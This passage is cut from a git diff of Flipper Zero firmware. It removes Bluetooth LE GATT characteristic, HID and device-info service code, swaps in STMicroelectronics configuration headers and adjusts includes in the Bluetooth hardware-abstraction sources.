&dev_info_svc->characteristics[i]); +- flipper_gatt_characteristic_update( +- dev_info_svc->service_handle, &dev_info_svc->characteristics[i], NULL); +- } +-} +- +-void dev_info_svc_stop() { +- tBleStatus status; +- if(dev_info_svc) { +- furi_string_free(dev_info_svc->version_string); +- // Delete service characteristics +- for(size_t i = 0; i < DevInfoSvcGattCharacteristicCount; i++) { +- flipper_gatt_characteristic_delete( +- dev_info_svc->service_handle, &dev_info_svc->characteristics[i]); +- } +- // Delete service +- status = aci_gatt_del_service(dev_info_svc->service_handle); +- if(status) { +- FURI_LOG_E(TAG, "Failed to delete device info service: %d", status); +- } +- free(dev_info_svc); +- dev_info_svc = NULL; +- } +-} +- +-bool dev_info_svc_is_started() { +- return dev_info_svc != NULL; +-} +diff --git a/firmware/targets/f7/ble_glue/services/dev_info_service_uuid.inc b/firmware/targets/f7/ble_glue/services/dev_info_service_uuid.inc +deleted file mode 100644 +index ad520f62e..000000000 +--- a/firmware/targets/f7/ble_glue/services/dev_info_service_uuid.inc ++++ /dev/null +@@ -1,3 +0,0 @@ +-#define DEV_INVO_RPC_VERSION_UID \ +- { 0x33, 0xa9, 0xb5, 0x3e, 0x87, 0x5d, 0x1a, 0x8e, 0xc8, 0x47, 0x5e, 0xae, 0x6d, 0x66, 0xf6, 0x03 } +- +diff --git a/firmware/targets/f7/ble_glue/services/gatt_char.c b/firmware/targets/f7/ble_glue/services/gatt_char.c +deleted file mode 100644 +index c06403f55..000000000 +--- a/firmware/targets/f7/ble_glue/services/gatt_char.c ++++ /dev/null +@@ -1,122 +0,0 @@ +-#include "gatt_char.h" +- +-#include +- +-#define TAG "GattChar" +- +-#define GATT_MIN_READ_KEY_SIZE (10) +- +-void flipper_gatt_characteristic_init( +- uint16_t svc_handle, +- const FlipperGattCharacteristicParams* char_descriptor, +- FlipperGattCharacteristicInstance* char_instance) { +- furi_assert(char_descriptor); +- furi_assert(char_instance); +- +- // Copy the descriptor to the instance, since it may point to stack memory +- char_instance->characteristic = malloc(sizeof(FlipperGattCharacteristicParams)); +- memcpy( +- (void*)char_instance->characteristic, +- char_descriptor, +- sizeof(FlipperGattCharacteristicParams)); +- +- uint16_t char_data_size = 0; +- if(char_descriptor->data_prop_type == FlipperGattCharacteristicDataFixed) { +- char_data_size = char_descriptor->data.fixed.length; +- } else if(char_descriptor->data_prop_type == FlipperGattCharacteristicDataCallback) { +- char_descriptor->data.callback.fn( +- char_descriptor->data.callback.context, NULL, &char_data_size); +- } +- +- tBleStatus status = aci_gatt_add_char( +- svc_handle, +- char_descriptor->uuid_type, +- &char_descriptor->uuid, +- char_data_size, +- char_descriptor->char_properties, +- char_descriptor->security_permissions, +- char_descriptor->gatt_evt_mask, +- GATT_MIN_READ_KEY_SIZE, +- char_descriptor->is_variable, +- &char_instance->handle); +- if(status) { +- FURI_LOG_E(TAG, "Failed to add %s char: %d", char_descriptor->name, status); +- } +- +- char_instance->descriptor_handle = 0; +- if((status == 0) && char_descriptor->descriptor_params) { +- uint8_t const* char_data = NULL; +- const FlipperGattCharacteristicDescriptorParams* char_data_descriptor = +- char_descriptor->descriptor_params; +- bool release_data = char_data_descriptor->data_callback.fn( +- char_data_descriptor->data_callback.context, &char_data, &char_data_size); +- +- status = aci_gatt_add_char_desc( +- svc_handle, +- char_instance->handle, +- char_data_descriptor->uuid_type, +- &char_data_descriptor->uuid, +- char_data_descriptor->max_length, +- char_data_size, +- char_data, +- char_data_descriptor->security_permissions, +- char_data_descriptor->access_permissions, +- char_data_descriptor->gatt_evt_mask, +- MIN_ENCRY_KEY_SIZE, +- char_data_descriptor->is_variable, +- &char_instance->descriptor_handle); +- if(status) { +- FURI_LOG_E(TAG, "Failed to add %s char descriptor: %d", char_descriptor->name, status); +- } +- if(release_data) { +- free((void*)char_data); +- } +- } +-} +- +-void flipper_gatt_characteristic_delete( +- uint16_t svc_handle, +- FlipperGattCharacteristicInstance* char_instance) { +- tBleStatus status = aci_gatt_del_char(svc_handle, char_instance->handle); +- if(status) { +- FURI_LOG_E( +- TAG, "Failed to delete %s char: %d", char_instance->characteristic->name, status); +- } +- free((void*)char_instance->characteristic); +-} +- +-bool flipper_gatt_characteristic_update( +- uint16_t svc_handle, +- FlipperGattCharacteristicInstance* char_instance, +- const void* source) { +- furi_assert(char_instance); +- const FlipperGattCharacteristicParams* char_descriptor = char_instance->characteristic; +- FURI_LOG_D(TAG, "Updating %s char", char_descriptor->name); +- +- const uint8_t* char_data = NULL; +- uint16_t char_data_size = 0; +- bool release_data = false; +- if(char_descriptor->data_prop_type == FlipperGattCharacteristicDataFixed) { +- char_data = char_descriptor->data.fixed.ptr; +- if(source) { +- char_data = (uint8_t*)source; +- } +- char_data_size = char_descriptor->data.fixed.length; +- } else if(char_descriptor->data_prop_type == FlipperGattCharacteristicDataCallback) { +- const void* context = char_descriptor->data.callback.context; +- if(source) { +- context = source; +- } +- release_data = char_descriptor->data.callback.fn(context, &char_data, &char_data_size); +- } +- +- tBleStatus result = aci_gatt_update_char_value( +- svc_handle, char_instance->handle, 0, char_data_size, char_data); +- if(result) { +- FURI_LOG_E(TAG, "Failed updating %s characteristic: %d", char_descriptor->name, result); +- } +- if(release_data) { +- free((void*)char_data); +- } +- return result != BLE_STATUS_SUCCESS; +-} +\ No newline at end of file +diff --git a/firmware/targets/f7/ble_glue/services/gatt_char.h b/firmware/targets/f7/ble_glue/services/gatt_char.h +deleted file mode 100644 +index 959ab67a4..000000000 +--- a/firmware/targets/f7/ble_glue/services/gatt_char.h ++++ /dev/null +@@ -1,96 +0,0 @@ +-#pragma once +- +-#include +-#include +-#include +- +-#include +- +-#ifdef __cplusplus +-extern "C" { +-#endif +- +-// Callback signature for getting characteristic data +-// Is called when characteristic is created to get max data length. Data ptr is NULL in this case +-// The result is passed to aci_gatt_add_char as "Char_Value_Length" +-// For updates, called with a context - see flipper_gatt_characteristic_update +-// Returns true if *data ownership is transferred to the caller and will be freed +-typedef bool (*cbFlipperGattCharacteristicData)( +- const void* context, +- const uint8_t** data, +- uint16_t* data_len); +- +-typedef enum { +- FlipperGattCharacteristicDataFixed, +- FlipperGattCharacteristicDataCallback, +-} FlipperGattCharacteristicDataType; +- +-typedef struct { +- Char_Desc_Uuid_t uuid; +- struct { +- cbFlipperGattCharacteristicData fn; +- const void* context; +- } data_callback; +- uint8_t uuid_type; +- uint8_t max_length; +- uint8_t security_permissions; +- uint8_t access_permissions; +- uint8_t gatt_evt_mask; +- uint8_t is_variable; +-} FlipperGattCharacteristicDescriptorParams; +- +-typedef struct { +- const char* name; +- FlipperGattCharacteristicDescriptorParams* descriptor_params; +- union { +- struct { +- const uint8_t* ptr; +- uint16_t length; +- } fixed; +- struct { +- cbFlipperGattCharacteristicData fn; +- const void* context; +- } callback; +- } data; +- Char_UUID_t uuid; +- // Some packed bitfields to save space +- FlipperGattCharacteristicDataType data_prop_type : 2; +- uint8_t is_variable : 2; +- uint8_t uuid_type : 2; +- uint8_t char_properties; +- uint8_t security_permissions; +- uint8_t gatt_evt_mask; +-} FlipperGattCharacteristicParams; +- +-_Static_assert( +- sizeof(FlipperGattCharacteristicParams) == 36, +- "FlipperGattCharacteristicParams size must be 36 bytes"); +- +-typedef struct { +- const FlipperGattCharacteristicParams* characteristic; +- uint16_t handle; +- uint16_t descriptor_handle; +-} FlipperGattCharacteristicInstance; +- +-// Initialize a characteristic instance; copies the characteristic descriptor into the instance +-void flipper_gatt_characteristic_init( +- uint16_t svc_handle, +- const FlipperGattCharacteristicParams* char_descriptor, +- FlipperGattCharacteristicInstance* char_instance); +- +-// Delete a characteristic instance; frees the copied characteristic descriptor from the instance +-void flipper_gatt_characteristic_delete( +- uint16_t svc_handle, +- FlipperGattCharacteristicInstance* char_instance); +- +-// Update a characteristic instance; if source==NULL, uses the data from the characteristic +-// - For fixed data, fixed.ptr is used as the source if source==NULL +-// - For callback-based data, collback.context is passed as the context if source==NULL +-bool flipper_gatt_characteristic_update( +- uint16_t svc_handle, +- FlipperGattCharacteristicInstance* char_instance, +- const void* source); +- +-#ifdef __cplusplus +-} +-#endif +\ No newline at end of file +diff --git a/firmware/targets/f7/ble_glue/services/hid_service.c b/firmware/targets/f7/ble_glue/services/hid_service.c +deleted file mode 100644 +index d3fad0108..000000000 +--- a/firmware/targets/f7/ble_glue/services/hid_service.c ++++ /dev/null +@@ -1,366 +0,0 @@ +-#include "hid_service.h" +-#include "app_common.h" +-#include +-#include "gatt_char.h" +- +-#include +- +-#define TAG "BtHid" +- +-typedef enum { +- HidSvcGattCharacteristicProtocolMode = 0, +- HidSvcGattCharacteristicReportMap, +- HidSvcGattCharacteristicInfo, +- HidSvcGattCharacteristicCtrlPoint, +- HidSvcGattCharacteristicLed, +- HidSvcGattCharacteristicCount, +-} HidSvcGattCharacteristicId; +- +-typedef struct { +- uint8_t report_idx; +- uint8_t report_type; +-} HidSvcReportId; +- +-static_assert(sizeof(HidSvcReportId) == sizeof(uint16_t), "HidSvcReportId must be 2 bytes"); +- +-static const Service_UUID_t hid_svc_uuid = { +- .Service_UUID_16 = HUMAN_INTERFACE_DEVICE_SERVICE_UUID, +-}; +- +-static bool +- hid_svc_char_desc_data_callback(const void* context, const uint8_t** data, uint16_t* data_len) { +- const HidSvcReportId* report_id = context; +- *data_len = sizeof(HidSvcReportId); +- if(data) { +- *data = (const uint8_t*)report_id; +- } +- return false; +-} +- +-typedef struct { +- const void* data_ptr; +- uint16_t data_len; +-} HidSvcDataWrapper; +- +-static bool +- hid_svc_report_data_callback(const void* context, const uint8_t** data, uint16_t* data_len) { +- const HidSvcDataWrapper* report_data = context; +- if(data) { +- *data = report_data->data_ptr; +- *data_len = report_data->data_len; +- } else { +- *data_len = HID_SVC_REPORT_MAP_MAX_LEN; +- } +- return false; +-} +- +-// LED Descriptor params for BadBT +- +-static uint8_t led_desc_context_buf[2] = {HID_SVC_REPORT_COUNT + 1, 2}; +- +-static FlipperGattCharacteristicDescriptorParams hid_svc_char_descr_led = { +- .uuid_type = UUID_TYPE_16, +- .uuid.Char_UUID_16 = REPORT_REFERENCE_DESCRIPTOR_UUID, +- .max_length = HID_SVC_REPORT_REF_LEN, +- .data_callback.fn = hid_svc_char_desc_data_callback, +- .data_callback.context = led_desc_context_buf, +- .security_permissions = ATTR_PERMISSION_NONE, +- .access_permissions = ATTR_ACCESS_READ_WRITE, +- .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, +- .is_variable = CHAR_VALUE_LEN_CONSTANT, +-}; +- +-static const FlipperGattCharacteristicParams hid_svc_chars[HidSvcGattCharacteristicCount] = { +- [HidSvcGattCharacteristicProtocolMode] = +- {.name = "Protocol Mode", +- .data_prop_type = FlipperGattCharacteristicDataFixed, +- .data.fixed.length = 1, +- .uuid.Char_UUID_16 = PROTOCOL_MODE_CHAR_UUID, +- .uuid_type = UUID_TYPE_16, +- .char_properties = CHAR_PROP_READ | CHAR_PROP_WRITE_WITHOUT_RESP, +- .security_permissions = ATTR_PERMISSION_NONE, +- .gatt_evt_mask = GATT_NOTIFY_ATTRIBUTE_WRITE, +- .is_variable = CHAR_VALUE_LEN_CONSTANT}, +- [HidSvcGattCharacteristicReportMap] = +- {.name = "Report Map", +- .data_prop_type = FlipperGattCharacteristicDataCallback, +- .data.callback.fn = hid_svc_report_data_callback, +- .data.callback.context = NULL, +- .uuid.Char_UUID_16 = REPORT_MAP_CHAR_UUID, +- .uuid_type = UUID_TYPE_16, +- .char_properties = CHAR_PROP_READ, +- .security_permissions = ATTR_PERMISSION_NONE, +- .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, +- .is_variable = CHAR_VALUE_LEN_VARIABLE}, +- [HidSvcGattCharacteristicInfo] = +- {.name = "HID Information", +- .data_prop_type = FlipperGattCharacteristicDataFixed, +- .data.fixed.length = HID_SVC_INFO_LEN, +- .data.fixed.ptr = NULL, +- .uuid.Char_UUID_16 = HID_INFORMATION_CHAR_UUID, +- .uuid_type = UUID_TYPE_16, +- .char_properties = CHAR_PROP_READ, +- .security_permissions = ATTR_PERMISSION_NONE, +- .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, +- .is_variable = CHAR_VALUE_LEN_CONSTANT}, +- [HidSvcGattCharacteristicCtrlPoint] = +- {.name = "HID Control Point", +- .data_prop_type = FlipperGattCharacteristicDataFixed, +- .data.fixed.length = HID_SVC_CONTROL_POINT_LEN, +- .uuid.Char_UUID_16 = HID_CONTROL_POINT_CHAR_UUID, +- .uuid_type = UUID_TYPE_16, +- .char_properties = CHAR_PROP_WRITE_WITHOUT_RESP, +- .security_permissions = ATTR_PERMISSION_NONE, +- .gatt_evt_mask = GATT_NOTIFY_ATTRIBUTE_WRITE, +- .is_variable = CHAR_VALUE_LEN_CONSTANT}, +- [HidSvcGattCharacteristicLed] = +- { +- .name = +- "HID LED State", // LED Characteristic and descriptor for BadBT to get numlock state for altchars +- .data_prop_type = FlipperGattCharacteristicDataFixed, +- .data.fixed.length = 1, +- .uuid.Char_UUID_16 = REPORT_CHAR_UUID, +- .uuid_type = UUID_TYPE_16, +- .char_properties = CHAR_PROP_READ | CHAR_PROP_WRITE_WITHOUT_RESP | CHAR_PROP_WRITE, +- .security_permissions = ATTR_PERMISSION_NONE, +- .gatt_evt_mask = GATT_NOTIFY_ATTRIBUTE_WRITE | +- GATT_NOTIFY_WRITE_REQ_AND_WAIT_FOR_APPL_RESP, +- .is_variable = CHAR_VALUE_LEN_CONSTANT, +- .descriptor_params = &hid_svc_char_descr_led, +- }, +-}; +- +-static const FlipperGattCharacteristicDescriptorParams hid_svc_char_descr_template = { +- .uuid_type = UUID_TYPE_16, +- .uuid.Char_UUID_16 = REPORT_REFERENCE_DESCRIPTOR_UUID, +- .max_length = HID_SVC_REPORT_REF_LEN, +- .data_callback.fn = hid_svc_char_desc_data_callback, +- .security_permissions = ATTR_PERMISSION_NONE, +- .access_permissions = ATTR_ACCESS_READ_WRITE, +- .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, +- .is_variable = CHAR_VALUE_LEN_CONSTANT, +-}; +- +-static const FlipperGattCharacteristicParams hid_svc_report_template = { +- .name = "Report", +- .data_prop_type = FlipperGattCharacteristicDataCallback, +- .data.callback.fn = hid_svc_report_data_callback, +- .data.callback.context = NULL, +- .uuid.Char_UUID_16 = REPORT_CHAR_UUID, +- .uuid_type = UUID_TYPE_16, +- .char_properties = CHAR_PROP_READ | CHAR_PROP_NOTIFY, +- .security_permissions = ATTR_PERMISSION_NONE, +- .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, +- .is_variable = CHAR_VALUE_LEN_VARIABLE, +-}; +- +-typedef struct { +- uint16_t svc_handle; +- FlipperGattCharacteristicInstance chars[HidSvcGattCharacteristicCount]; +- FlipperGattCharacteristicInstance input_report_chars[HID_SVC_INPUT_REPORT_COUNT]; +- FlipperGattCharacteristicInstance output_report_chars[HID_SVC_OUTPUT_REPORT_COUNT]; +- FlipperGattCharacteristicInstance feature_report_chars[HID_SVC_FEATURE_REPORT_COUNT]; +- // led state +- HidLedStateEventCallback led_state_event_callback; +- void* led_state_ctx; +-} HIDSvc; +- +-static HIDSvc* hid_svc = NULL; +- +-static SVCCTL_EvtAckStatus_t hid_svc_event_handler(void* event) { +- SVCCTL_EvtAckStatus_t ret = SVCCTL_EvtNotAck; +- hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)event)->data); +- evt_blecore_aci* blecore_evt = (evt_blecore_aci*)event_pckt->data; +- // aci_gatt_attribute_modified_event_rp0* attribute_modified; +- if(event_pckt->evt == HCI_VENDOR_SPECIFIC_DEBUG_EVT_CODE) { +- if(blecore_evt->ecode == ACI_GATT_ATTRIBUTE_MODIFIED_VSEVT_CODE) { +- // Process modification events +- ret = SVCCTL_EvtAckFlowEnable; +- } else if(blecore_evt->ecode == ACI_GATT_SERVER_CONFIRMATION_VSEVT_CODE) { +- // Process notification confirmation +- ret = SVCCTL_EvtAckFlowEnable; +- } else if(blecore_evt->ecode == ACI_GATT_WRITE_PERMIT_REQ_VSEVT_CODE) { +- // LED Characteristic and descriptor for BadBT to get numlock state for altchars +- // +- // Process write request +- aci_gatt_write_permit_req_event_rp0* req = +- (aci_gatt_write_permit_req_event_rp0*)blecore_evt->data; +- +- furi_check(hid_svc->led_state_event_callback && hid_svc->led_state_ctx); +- +- // this check is likely to be incorrect, it will actually work in our case +- // but we need to investigate gatt api to see what is the rules +- // that specify attibute handle value from char handle (or the reverse) +- if(req->Attribute_Handle == (hid_svc->chars[HidSvcGattCharacteristicLed].handle + 1)) { +- hid_svc->led_state_event_callback(req->Data[0], hid_svc->led_state_ctx); +- aci_gatt_write_resp( +- req->Connection_Handle, +- req->Attribute_Handle, +- 0x00, /* write_status = 0 (no error))*/ +- 0x00, /* err_code */ +- req->Data_Length, +- req->Data); +- aci_gatt_write_char_value( +- req->Connection_Handle, +- hid_svc->chars[HidSvcGattCharacteristicLed].handle, +- req->Data_Length, +- req->Data); +- ret = SVCCTL_EvtAckFlowEnable; +- } +- } +- } +- return ret; +-} +- +-void hid_svc_start() { +- tBleStatus status; +- hid_svc = malloc(sizeof(HIDSvc)); +- +- // Register event handler +- SVCCTL_RegisterSvcHandler(hid_svc_event_handler); +- /** +- * Add Human Interface Device Service +- */ +- status = aci_gatt_add_service( +- UUID_TYPE_16, +- &hid_svc_uuid, +- PRIMARY_SERVICE, +- 2 + /* protocol mode */ +- (4 * HID_SVC_INPUT_REPORT_COUNT) + (3 * HID_SVC_OUTPUT_REPORT_COUNT) + +- (3 * HID_SVC_FEATURE_REPORT_COUNT) + 1 + 2 + 2 + 2 + +- 4, /* Service + Report Map + HID Information + HID Control Point + LED state */ +- &hid_svc->svc_handle); +- if(status) { +- FURI_LOG_E(TAG, "Failed to add HID service: %d", status); +- } +- +- for(size_t i = 0; i < HidSvcGattCharacteristicCount; i++) { +- flipper_gatt_characteristic_init( +- hid_svc->svc_handle, &hid_svc_chars[i], &hid_svc->chars[i]); +- } +- uint8_t protocol_mode = 1; +- flipper_gatt_characteristic_update( +- hid_svc->svc_handle, +- &hid_svc->chars[HidSvcGattCharacteristicProtocolMode], +- &protocol_mode); +- +- // reports +- FlipperGattCharacteristicDescriptorParams hid_svc_char_descr; +- FlipperGattCharacteristicParams report_char; +- HidSvcReportId report_id; +- +- memcpy(&hid_svc_char_descr, &hid_svc_char_descr_template, sizeof(hid_svc_char_descr)); +- memcpy(&report_char, &hid_svc_report_template, sizeof(report_char)); +- +- hid_svc_char_descr.data_callback.context = &report_id; +- report_char.descriptor_params = &hid_svc_char_descr; +- +- typedef struct { +- uint8_t report_type; +- uint8_t report_count; +- FlipperGattCharacteristicInstance* chars; +- } HidSvcReportCharProps; +- +- HidSvcReportCharProps hid_report_chars[] = { +- {0x01, HID_SVC_INPUT_REPORT_COUNT, hid_svc->input_report_chars}, +- {0x02, HID_SVC_OUTPUT_REPORT_COUNT, hid_svc->output_report_chars}, +- {0x03, HID_SVC_FEATURE_REPORT_COUNT, hid_svc->feature_report_chars}, +- }; +- +- for(size_t report_type_idx = 0; report_type_idx < COUNT_OF(hid_report_chars); +- report_type_idx++) { +- report_id.report_type = hid_report_chars[report_type_idx].report_type; +- for(size_t report_idx = 0; report_idx < hid_report_chars[report_type_idx].report_count; +- report_idx++) { +- report_id.report_idx = report_idx + 1; +- flipper_gatt_characteristic_init( +- hid_svc->svc_handle, +- &report_char, +- &hid_report_chars[report_type_idx].chars[report_idx]); +- } +- } +-} +- +-bool hid_svc_update_report_map(const uint8_t* data, uint16_t len) { +- furi_assert(data); +- furi_assert(hid_svc); +- +- HidSvcDataWrapper report_data = { +- .data_ptr = data, +- .data_len = len, +- }; +- return flipper_gatt_characteristic_update( +- hid_svc->svc_handle, &hid_svc->chars[HidSvcGattCharacteristicReportMap], &report_data); +-} +- +-bool hid_svc_update_input_report(uint8_t input_report_num, uint8_t* data, uint16_t len) { +- furi_assert(data); +- furi_assert(hid_svc); +- furi_assert(input_report_num < HID_SVC_INPUT_REPORT_COUNT); +- +- HidSvcDataWrapper report_data = { +- .data_ptr = data, +- .data_len = len, +- }; +- return flipper_gatt_characteristic_update( +- hid_svc->svc_handle, &hid_svc->input_report_chars[input_report_num], &report_data); +-} +- +-bool hid_svc_update_info(uint8_t* data) { +- furi_assert(data); +- furi_assert(hid_svc); +- +- return flipper_gatt_characteristic_update( +- hid_svc->svc_handle, &hid_svc->chars[HidSvcGattCharacteristicInfo], &data); +-} +- +-void hid_svc_register_led_state_callback(HidLedStateEventCallback callback, void* context) { +- furi_assert(hid_svc); +- furi_assert(callback); +- furi_assert(context); +- +- hid_svc->led_state_event_callback = callback; +- hid_svc->led_state_ctx = context; +-} +- +-bool hid_svc_is_started() { +- return hid_svc != NULL; +-} +- +-void hid_svc_stop() { +- tBleStatus status; +- if(hid_svc) { +- // Delete characteristics +- for(size_t i = 0; i < HidSvcGattCharacteristicCount; i++) { +- flipper_gatt_characteristic_delete(hid_svc->svc_handle, &hid_svc->chars[i]); +- } +- +- typedef struct { +- uint8_t report_count; +- FlipperGattCharacteristicInstance* chars; +- } HidSvcReportCharProps; +- +- HidSvcReportCharProps hid_report_chars[] = { +- {HID_SVC_INPUT_REPORT_COUNT, hid_svc->input_report_chars}, +- {HID_SVC_OUTPUT_REPORT_COUNT, hid_svc->output_report_chars}, +- {HID_SVC_FEATURE_REPORT_COUNT, hid_svc->feature_report_chars}, +- }; +- +- for(size_t report_type_idx = 0; report_type_idx < COUNT_OF(hid_report_chars); +- report_type_idx++) { +- for(size_t report_idx = 0; report_idx < hid_report_chars[report_type_idx].report_count; +- report_idx++) { +- flipper_gatt_characteristic_delete( +- hid_svc->svc_handle, &hid_report_chars[report_type_idx].chars[report_idx]); +- } +- } +- +- // Delete service +- status = aci_gatt_del_service(hid_svc->svc_handle); +- if(status) { +- FURI_LOG_E(TAG, "Failed to delete HID service: %d", status); +- } +- free(hid_svc); +- hid_svc = NULL; +- } +-} +diff --git a/firmware/targets/f7/ble_glue/services/serial_service_uuid.inc b/firmware/targets/f7/ble_glue/services/serial_service_uuid.inc +deleted file mode 100644 +index a297d9ad6..000000000 +--- a/firmware/targets/f7/ble_glue/services/serial_service_uuid.inc ++++ /dev/null +@@ -1,12 +0,0 @@ +- +-static const Service_UUID_t service_uuid = { .Service_UUID_128 = \ +- { 0x00, 0x00, 0xfe, 0x60, 0xcc, 0x7a, 0x48, 0x2a, 0x98, 0x4a, 0x7f, 0x2e, 0xd5, 0xb3, 0xe5, 0x8f }}; +- +-#define SERIAL_SVC_TX_CHAR_UUID \ +- { 0x00, 0x00, 0xfe, 0x61, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19 } +-#define SERIAL_SVC_RX_CHAR_UUID \ +- { 0x00, 0x00, 0xfe, 0x62, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19 } +-#define SERIAL_SVC_FLOW_CONTROL_UUID \ +- { 0x00, 0x00, 0xfe, 0x63, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19 } +-#define SERIAL_SVC_RPC_STATUS_UUID \ +- { 0x00, 0x00, 0xfe, 0x64, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19 } +diff --git a/firmware/targets/f7/ble_glue/tl_dbg_conf.h b/firmware/targets/f7/ble_glue/tl_dbg_conf.h +index daaa9d82b..ce58af32b 100644 +--- a/firmware/targets/f7/ble_glue/tl_dbg_conf.h ++++ b/firmware/targets/f7/ble_glue/tl_dbg_conf.h +@@ -1,12 +1,39 @@ +-#pragma once ++/* USER CODE BEGIN Header */ ++/** ++ ****************************************************************************** ++ * File Name : App/tl_dbg_conf.h ++ * Description : Debug configuration file for stm32wpan transport layer interface. ++ * ++ ****************************************************************************** ++ * @attention ++ * ++ *

© Copyright (c) 2020 STMicroelectronics. ++ * All rights reserved.

++ * ++ * This software component is licensed by ST under Ultimate Liberty license ++ * SLA0044, the "License"; You may not use this file except in compliance with ++ * the License. You may obtain a copy of the License at: ++ * www.st.com/SLA0044 ++ * ++ ****************************************************************************** ++ */ ++/* USER CODE END Header */ + +-#include "app_conf.h" /* required as some configuration used in dbg_trace.h are set there */ +-#include "dbg_trace.h" ++/* Define to prevent recursive inclusion -------------------------------------*/ ++#ifndef __TL_DBG_CONF_H ++#define __TL_DBG_CONF_H + + #ifdef __cplusplus + extern "C" { + #endif + ++/* USER CODE BEGIN Tl_Conf */ ++ ++/* Includes ------------------------------------------------------------------*/ ++#include "app_conf.h" /* required as some configuration used in dbg_trace.h are set there */ ++#include "dbg_trace.h" ++#include "hw_if.h" ++ + /** + * Enable or Disable traces + * The raw data output is the hci binary packet format as specified by the BT specification * +@@ -97,6 +124,12 @@ extern "C" { + #define TL_MM_DBG_MSG(...) + #endif + ++/* USER CODE END Tl_Conf */ ++ + #ifdef __cplusplus + } + #endif ++ ++#endif /*__TL_DBG_CONF_H */ ++ ++/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ +diff --git a/firmware/targets/f7/ble_glue/utilities_conf.h b/firmware/targets/f7/ble_glue/utilities_conf.h +new file mode 100644 +index 000000000..9c15f2263 +--- /dev/null ++++ b/firmware/targets/f7/ble_glue/utilities_conf.h +@@ -0,0 +1,68 @@ ++/* USER CODE BEGIN Header */ ++/** ++ ****************************************************************************** ++ * File Name : utilities_conf.h ++ * Description : Configuration file for STM32 Utilities. ++ * ++ ****************************************************************************** ++ * @attention ++ * ++ *

© Copyright (c) 2019 STMicroelectronics. ++ * All rights reserved.

++ * ++ * This software component is licensed by ST under BSD 3-Clause license, ++ * the "License"; You may not use this file except in compliance with the ++ * License. You may obtain a copy of the License at: ++ * opensource.org/licenses/BSD-3-Clause ++ * ++ ****************************************************************************** ++ */ ++/* USER CODE END Header */ ++ ++/* Define to prevent recursive inclusion -------------------------------------*/ ++#ifndef UTILITIES_CONF_H ++#define UTILITIES_CONF_H ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++#include "cmsis_compiler.h" ++#include "string.h" ++#include ++ ++/****************************************************************************** ++ * common ++ ******************************************************************************/ ++#define UTILS_ENTER_CRITICAL_SECTION() FURI_CRITICAL_ENTER() ++ ++#define UTILS_EXIT_CRITICAL_SECTION() FURI_CRITICAL_EXIT() ++ ++#define UTILS_MEMSET8(dest, value, size) memset(dest, value, size); ++ ++/****************************************************************************** ++ * tiny low power manager ++ * (any macro that does not need to be modified can be removed) ++ ******************************************************************************/ ++#define UTIL_LPM_INIT_CRITICAL_SECTION() ++#define UTIL_LPM_ENTER_CRITICAL_SECTION() UTILS_ENTER_CRITICAL_SECTION() ++#define UTIL_LPM_EXIT_CRITICAL_SECTION() UTILS_EXIT_CRITICAL_SECTION() ++ ++/****************************************************************************** ++ * sequencer ++ * (any macro that does not need to be modified can be removed) ++ ******************************************************************************/ ++#define UTIL_SEQ_INIT_CRITICAL_SECTION() ++#define UTIL_SEQ_ENTER_CRITICAL_SECTION() UTILS_ENTER_CRITICAL_SECTION() ++#define UTIL_SEQ_EXIT_CRITICAL_SECTION() UTILS_EXIT_CRITICAL_SECTION() ++#define UTIL_SEQ_CONF_TASK_NBR (32) ++#define UTIL_SEQ_CONF_PRIO_NBR (2) ++#define UTIL_SEQ_MEMSET8(dest, value, size) UTILS_MEMSET8(dest, value, size) ++ ++#ifdef __cplusplus ++} ++#endif ++ ++#endif /*UTILITIES_CONF_H */ ++ ++/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ +diff --git a/firmware/targets/f7/furi_hal/furi_hal_bt.c b/firmware/targets/f7/furi_hal/furi_hal_bt.c +index 9defefbfe..ce6e9e291 100644 +--- a/firmware/targets/f7/furi_hal/furi_hal_bt.c ++++ b/firmware/targets/f7/furi_hal/furi_hal_bt.c +@@ -2,18 +2,15 @@ + + #include + #include +- + #include +-#include +- +-#include + + #include + #include + #include + #include + #include +-#include ++#include "battery_service.h" ++ + #include + + #define TAG "FuriHalBt" +diff --git a/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c b/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c +index 2bbfc1523..8e05a9904 100644 +--- a/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c ++++ b/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c +@@ -1,11 +1,11 @@ + #include + #include +-#include +-#include +-#include ++#include "usb_hid.h" ++#include "dev_info_service.h" ++#include "battery_service.h" ++#include "hid_service.h" + + #include +-#include + + #define FURI_HAL_BT_INFO_BASE_USB_SPECIFICATION (0x0101) + #define FURI_HAL_BT_INFO_COUNTRY_CODE (0x00) +@@ -221,7 +221,7 @@ void furi_hal_bt_hid_start() { + FURI_HAL_BT_HID_INFO_FLAG_REMOTE_WAKE_MSK | + FURI_HAL_BT_HID_INFO_FLAG_NORMALLY_CONNECTABLE_MSK, + }; +- hid_svc_update_info(hid_info_val); ++ hid_svc_update_info(hid_info_val, sizeof(hid_info_val)); + } + + void furi_hal_bt_hid_stop() { +diff --git a/firmware/targets/f7/furi_hal/furi_hal_bt_serial.c b/firmware/targets/f7/furi_hal/furi_hal_bt_serial.c +index 2927d946f..2539e6bd0 100644 +--- a/firmware/targets/f7/furi_hal/furi_hal_bt_serial.c ++++ b/firmware/targets/f7/furi_hal/furi_hal_bt_serial.c +@@ -1,7 +1,7 @@ + #include +-#include +-#include +-#include ++#include "dev_info_service.h" ++#include "battery_service.h" ++#include "serial_service.h" + + #include + +diff --git a/firmware/targets/f7/furi_hal/furi_hal_clock.c 